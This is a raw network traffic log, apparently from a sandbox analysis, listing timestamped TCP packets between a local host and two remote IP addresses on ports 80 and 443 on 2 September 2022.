Sep 2, 2022 14:02:38.465390921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.465432882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.468977928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.469021082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.469048023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.469244003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.469263077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.469285965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.469299078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.469312906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.469336987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.470065117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470179081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470211029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470249891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470259905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.470290899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470319986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470349073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.470767975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470810890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470835924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470873117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.470931053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470972061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.470979929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.470998049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.471019983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.471501112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.471568108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.471595049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.471647978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.471688986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.471729040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.471754074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.471755981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.471786022 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.472071886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472114086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472146034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472181082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.472476006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472517014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472547054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472560883 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.472599030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.472819090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472858906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472887039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.472918987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.472980976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.473021030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.473031998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.473050117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.473072052 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.473726988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.473769903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.473798990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.473850012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.475147009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.475189924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.475215912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.475235939 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.475250959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.475294113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.475388050 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.475399017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.475425959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.475455999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.476264000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.476310015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.476339102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.476377010 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.476433992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.476475000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.476500988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.476515055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.476552010 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.477615118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.477655888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.477684021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.477721930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.477758884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.477787018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.477988005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.478060961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.478101969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.478131056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.478241920 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.478281975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.478353024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.478380919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.478502035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.479403973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479446888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479474068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479479074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.479504108 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.479512930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479554892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479579926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479882002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.479882956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479916096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479938030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.479962111 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.481261015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.481295109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.481317043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.481373072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.481417894 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.481499910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.481554985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.481578112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.481726885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.481960058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.481992006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.482012987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.482038975 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.482063055 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.482112885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.482148886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.482208014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.482223988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.493122101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.493747950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.493799925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.493841887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.493879080 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.493952990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.494699001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.494741917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.494769096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.494772911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.494790077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.579404116 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.579550028 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.595921993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.595980883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596013069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596051931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596097946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596124887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.596128941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596173048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.596184015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.596565962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596626997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596663952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596693993 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.596703053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596751928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596771955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.596788883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.596846104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.597100019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597143888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597157001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.597172022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597202063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.597292900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597333908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597361088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597379923 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.597469091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.597886086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597939014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597955942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.597970009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.597989082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.598007917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.598079920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.598119974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.598135948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.598150969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.598170042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.627603054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.627646923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.627675056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.627716064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.627743959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.627754927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.627784014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.627796888 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.627810955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.628070116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628164053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.628174067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628205061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628235102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.628242970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628314018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628340960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628365993 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.628734112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628772974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628827095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628853083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.628921032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628962040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.628988981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.629014969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.629304886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.629344940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.629373074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.629401922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.629817009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.629893064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.629906893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.629921913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.629950047 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.630099058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.630141973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.630170107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.630198956 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.630459070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.630498886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.630526066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.630557060 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.634603977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.634648085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.634675980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.634713888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.634721041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.634763002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.635453939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.635495901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.635523081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.635535955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.635556936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.635561943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.635602951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.635631084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.635660887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.636094093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636138916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636167049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636197090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.636205912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636297941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636364937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.636384964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636699915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636742115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636770010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.636771917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.636790037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.637195110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637237072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637264967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637295008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637316942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.637339115 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.637376070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.637386084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637415886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637470961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.637712955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637753010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637768030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.637779951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.637804031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.638103962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638148069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638170004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.638173103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638211966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638228893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.638253927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638266087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.638279915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638366938 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.638744116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638787031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638806105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.638812065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.638869047 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.638981104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.639043093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.640474081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.640517950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.640543938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.640575886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.640619040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.640634060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.640678883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.640710115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.640738964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.640753031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.641582012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.641625881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.641650915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.641650915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.641671896 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.641690969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.641761065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.641789913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.641815901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.643383026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.643435955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.643466949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.643508911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.643508911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.643548012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.643574953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.643603086 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.644619942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.644663095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.644689083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.644727945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.644735098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.644768953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.644779921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.644795895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.644823074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.644835949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.644890070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.644952059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.644982100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.645044088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.645046949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.645087957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.645113945 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.645116091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.645145893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.645787954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.645828962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.645858049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.645884991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.646513939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.646562099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.646589041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.646603107 CEST	49787	80	192.168.2.6	85.209.157.230
